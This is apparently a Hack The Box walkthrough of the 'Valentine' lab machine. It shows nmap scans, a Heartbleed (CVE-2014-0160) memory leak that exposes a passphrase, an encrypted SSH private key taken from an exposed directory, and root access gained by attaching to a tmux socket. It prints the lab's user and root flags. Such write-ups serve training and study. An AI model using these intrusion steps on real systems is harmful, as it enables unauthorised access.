

Valentine - Guided Mode.

Difficulty: Easy

OS: Linux

Enumeration:

```
___(m0j0⊕r1s1nPc)-[~/HTB/HTB_Member_Writeups/valentine]
└$ nmap -A 10.10.10.79
Starting Nmap 7.94SVN (https://nmap.org) at 2024-01-27 16:1
5 GMT
Nmap scan report for 10.10.10.79
Host is up (0.017s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT
       STATE SERVICE VERSION
22/tcp open ssh
                      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubun
tu Linux; protocol 2.0)
| ssh-hostkey:
   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DS
A)
   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RS
A)
   256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDS
A)
```

```
80/tcp open http
                    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_ssl-date: 2024-01-27T16:15:29+00:00; 0s from scanner time.
|_http-title: Site doesn't have a title (text/html).
| http-server-header: Apache/2.2.22 (Ubuntu)
| ssl-cert: Subject: commonName=valentine.htb/organizationNam
e=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
| Not valid after: 2019-02-06T00:45:25
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect resu
lts at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.49 seconds
```

I have 3 ports open nothing special - 22, 80, 443. It has http and https and SSH open.

Question 1: How many TCP ports are open on the remote host?

• 3

Question 2:

Which flag is used with nmap to execute its vulnerability discovery scripts (with the category "vuln") on the target?

—script vuln

This question helped guide me:

```
──(m0j0�r1s1nPc)-[~/HTB/HTB_Member_Writeups/valentine]

$\_$ nmap --script vuln 10.10.10.79

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-27 16:2
4 GMT

Nmap scan report for 10.10.10.79
```

```
Host is up (0.016s latency).
Not shown: 997 closed tcp ports (conn-refused)
        STATE SERVICE
P0RT
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabiliti
es.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed
(use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
    /dev/: Potentially interesting directory w/ listing on 'a
pache/2.2.22 (ubuntu)'
|_ /index/: Potentially interesting folder
443/tcp open https
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| ssl-poodle:
   VULNERABLE:
    SSL POODLE information leak
      State: VULNERABLE
      IDs: CVE:CVE-2014-3566 BID:70574
            The SSL protocol 3.0, as used in OpenSSL through
1.0.1i and other
            products, uses nondeterministic CBC padding, whic
h makes it easier
            for man-in-the-middle attackers to obtain clearte
xt data via a
            padding-oracle attack, aka the "POODLE" issue.
      Disclosure date: 2014-10-14
      Check results:
        TLS_RSA_WITH_AES_128_CBC_SHA
      References:
        https://www.imperialviolet.org/2014/10/14/poodle.html
        https://www.securityfocus.com/bid/70574
        https://www.openssl.org/~bodo/ssl-poodle.pdf
```

```
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-20
14-3566
I ssl-heartbleed:
    VULNERABLE:
    The Heartbleed Bug is a serious vulnerability in the popu
lar OpenSSL cryptographic software library. It allows for ste
aling information intended to be protected by SSL/TLS encrypt
ion.
      State: VULNERABLE
      Risk factor: High
        OpenSSL versions 1.0.1 and 1.0.2-beta releases (inclu
ding 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the H
eartbleed bug. The bug allows for reading memory of systems p
rotected by the vulnerable OpenSSL versions and could allow f
or disclosure of otherwise encrypted confidential information
as well as the encryption keys themselves.
      References:
        http://www.openssl.org/news/secadv_20140407.txt
        http://cvedetails.com/cve/2014-0160/
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-20
14-0160
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabiliti
es.
| http-enum:
    /dev/: Potentially interesting directory w/ listing on 'a
pache/2.2.22 (ubuntu)'
/index/: Potentially interesting folder
|_http-vuln-cve2017-1001000: ERROR: Script execution failed
(use -d to debug)
| ssl-ccs-injection:
   VULNERABLE:
    SSL/TLS MITM vulnerability (CCS Injection)
      State: VULNERABLE
      Risk factor: High
```

```
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.
1 before 1.0.1h
        does not properly restrict processing of ChangeCipher
Spec messages,
        which allows man-in-the-middle attackers to trigger u
se of a zero
        length master key in certain OpenSSL-to-OpenSSL commu
nications, and
        consequently hijack sessions or obtain sensitive info
rmation, via
        a crafted TLS handshake, aka the "CCS Injection" vuln
erability.
      References:
        http://www.openssl.org/news/secadv 20140605.txt
        http://www.cvedetails.com/cve/2014-0224
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-20
14-0224
Nmap done: 1 IP address (1 host up) scanned in 35.17 seconds
```

Look it is vulnerable to the HeartBleed attack, if you haven't heard of it https://heartbleed.com/ explains it well, whereas I'm going to tell you that it grabs random bits of data and some can be sensitive, but how do I get it?? Google and GitHub to the rescue:

Question3: What is the 2014 CVE ID for an information disclosure vulnerability that the service on port 443 is vulnerable to?

CVE-2014-0160

Time to search for A PoC as this was many years ago I am sure there are plenty:

I found a great script https://raw.githubusercontent.com/0x90/CVE-2014-0160/master/HeartLeak.py

This leaked a lot of info well strings of what seemed to be a bunch of requests and just at the end:

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
string>
```

Base64?

```
r1s1nPc)-[~/HTB/HTB_Member_Writeups/valentine]

$\to$ echo -n aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 -d heartbleedbelievethehype
```

A password for somewhere? Let me go back and check everything, look my Gobuster:

```
___(m0j0\forall r1s1nPc)-[~/HTB/HTB_Member_Writeups/valentine]
└$ gobuster dir -u http://valentine.htb -w /usr/share/seclis
ts/Discovery/Web-Content/common.txt
_____
==
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
______
[+] Url:
                    http://valentine.htb
[+] Method:
                    GET
[+] Threads:
                    10
[+] Wordlist:
                    /usr/share/seclists/Discovery/We
b-Content/common.txt
[+] Negative Status codes:
                    404
[+] User Agent:
                    qobuster/3.6
[+] Timeout:
                    10s
______
Starting gobuster in directory enumeration mode
______
```

```
/.htaccess
                  (Status: 403) [Size: 290]
                  (Status: 403) [Size: 290]
/.htpasswd
/.hta
                  (Status: 403) [Size: 285]
                  (Status: 403) [Size: 289]
/cgi-bin/
                  (Status: 200) [Size: 552]
/decode
/dev
                  (Status: 301) [Size: 312] [--> http://v
alentine.htb/dev/]
/encode
                  (Status: 200) [Size: 554]
/index
                  (Status: 200) [Size: 38]
                  (Status: 200) [Size: 38]
/index.php
/server-status
                  (Status: 403) [Size: 294]
Progress: 4723 / 4724 (99.98%)
______
==
Finished
______
==
```

Looks like I can explore a few directories.

Index of /dev

<u>Name</u>	<u>Last modified</u>	Size Description
Parent Directory		-
hype_key	13-Dec-2017 16:48	5.3K
notes.txt	05-Feb-2018 16:42	227

Apache/2.2.22 (Ubuntu) Server at valentine.htb Port 80

___(m0j0�r1s1nPc)-[~/HTB/HTB_Member_Writeups/valentine]

—\$ cat hype_key

4 34 5a 2b 75 43 0d 0a 4f 6c 36 6a 4c 46 44 32 6b 61 4f 4c 66 75 79 65 65 30 66 59 43 62 37 47 54 71 4f 65 37 45 6d 4d 42 3 3 66 47 49 77 53 64 57 38 4f 43 38 4e 57 54 6b 77 70 6a 63 30 45 4c 62 6c 55 61 36 75 6c 4f 0d 0a 74 39 67 72 53 6f 73 52 5 4 43 73 5a 64 31 34 4f 50 74 73 34 62 4c 73 70 4b 78 4d 4d 4f 73 67 6e 4b 6c 6f 58 76 6e 6c 50 4f 53 77 53 70 57 79 39 57 7 0 36 79 38 58 58 38 2b 46 34 30 72 78 6c 35 0d 0a 58 71 68 44 55 42 68 79 6b 31 43 33 59 50 4f 69 44 75 50 4f 6e 4d 58 61 4 9 70 65 31 64 67 62 30 4e 64 44 31 4d 39 5a 51 53 4e 55 4c 77 31 44 48 43 47 50 50 34 4a 53 53 78 58 37 42 57 64 44 4b 0d 0 a 61 41 6e 57 4a 76 46 67 6c 41 34 6f 46 42 42 56 41 38 75 41 50 4d 66 56 32 58 46 51 6e 6a 77 55 54 35 62 50 4c 43 36 35 7 4 46 73 74 6f 52 74 54 5a 31 75 53 72 75 61 69 32 37 6b 78 54 6e 4c 51 0d 0a 2b 77 51 38 37 6c 4d 61 64 64 73 31 47 51 4e 6 5 47 73

-----SNIP-----

Yes it is bigger and looks like a load of hex I will load into cyberchef, let me check the note.txt

```
rls1nPc)-[~/HTB/HTB_Member_Writeups/valentine]

L$ cat notes.txt

To do:
```

- 1) Coffee.
- 2) Research.
- 3) Fix decoder/encoder before going live.
- 4) Make sure encoding/decoding is only done client-side.
- 5) Don't use the decoder/encoder until any of this is done.
- 6) Find a better way to take notes.

Gives me an idea of what the application is going to be but let's check hype_key:

```
----BEGIN RSA PRIVATE KEY----
Proc-Type: 4,ENCRYPTED
```

DEK-Info: AES-128-CBC, AEB88C140F69BF2074788DE24AE48D46

- DbPr078kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3U0L0lF0xf7PzmrkDa8R
- 5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
- 0EI0Sb0YUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
- Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
- OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
- pHLJpYUII5PuO6x+LS8n1r/GWMqS0EimNRD1j/59/4u3R0rTCKeo9DsTRqs2k
- QdWwFwaXbYyT1uxAMSl5Hq90D5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
- p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z +uC
- Ol6jLFD2ka0Lfuyee0fYCb7GTq0e7EmMB3fGIwSdW80C8NWTkwpjc0ELblUa6ul0
- t9grSosRTCsZd140Pts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rx15
- XqhDUBhyk1C3YP0iDuP0nMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BW dDK
- aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnL0
- +wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
- AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr90
- r08pk0xArXE2dj7eX+bq656350J6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ50 S0e
- 2VWRyTZ1FfngJSsv9+Mfvz341lbz0IWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
- e1BsfSbsf9FguUZkgHAnnfRKkGVG10Vyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP

```
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp
3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pq
puX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyE
SpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4M
jAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV
2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3
0EW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/
IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8Mk
hD3
-----END RSA PRIVATE KEY-----
```

I got a key when decrypted from hex using cyberchef - it's also encrypted and I got a password earlier. Let me read about this encryption. I can use a flag I just learnt with SSH to allow us to connect with the outdated cipher:

```
(m0j0@r1s1nPc)-[~/HTB/HTB_Member_Writeups/valentine]
$ ssh -oPubkeyAcceptedAlgorithms=+ssh-rsa hype@valentine.ht
b -i hype.key
Enter passphrase for key 'hype.key':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_6
4)

* Documentation: https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sat Jan 27 10:06:30 2024 from 10.10.14.2
hype@Valentine:~$ ls
```

```
Desktop Documents Downloads Music Pictures Public Templ ates typescript user.txt Videos hype@Valentine:~$ cat user.txt fd1c01ed9bca758910c0534fcbba6d87
```

The passphrase needed was the previous base64 decoded string.

Privilege Escalation.

Start with my usual enumeration - looking for strange folders and thekf..... I fell asleep at the keyboard. See this is an example of "take a break" not happening. Don't just operate on minimal sleep, make sure you get plenty and some fresh air. On this machine I lost hours with the SSH key when I should have got it quicker and then the typo's falling asleep still typing - that's not good.

I hope people don't say that this shouldn't be talked about in a write-up but I'm leaving it here as a reminder!!!

Ok onwards, the guided questions really help me here:

What is the name of the terminal multiplexing software that the hype user has run previously?

• tmux (it is clearly visible as a hidden folder in the home directory)

What is the full path to the socket file used by the tmux session?

• /.devs/dev_sess

This is leading me somewhere but where?? After navigating the file system for a while tmux kept playing on my head and as this was an old machine I thought <u>GTFobins</u> and tmux must give me something and that it did.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

tmux

• Provided to have enough permissions to access the socket.

```
tmux -S /path/to/socket_name
```

Well I know the PATH to the socket so what would happen if I run the second command with my PATH?

```
root@Valentine:/home/hype# id
uid=0(root) gid=0(root) groups=0(root)
root@Valentine:/home/hype# cat /root/root/txt
cat: /root/root/txt: No such file or directory
root@Valentine:/home/hype# cat /root/root.txt
30281fbb2557cfa96a99cad48fae24a4
root@Valentine:/home/hype#
```

Yay, an easy root and one I should have got if I wasn't so tired,

All in all a great machine and Guided mode really does help nudge you along which to me is great.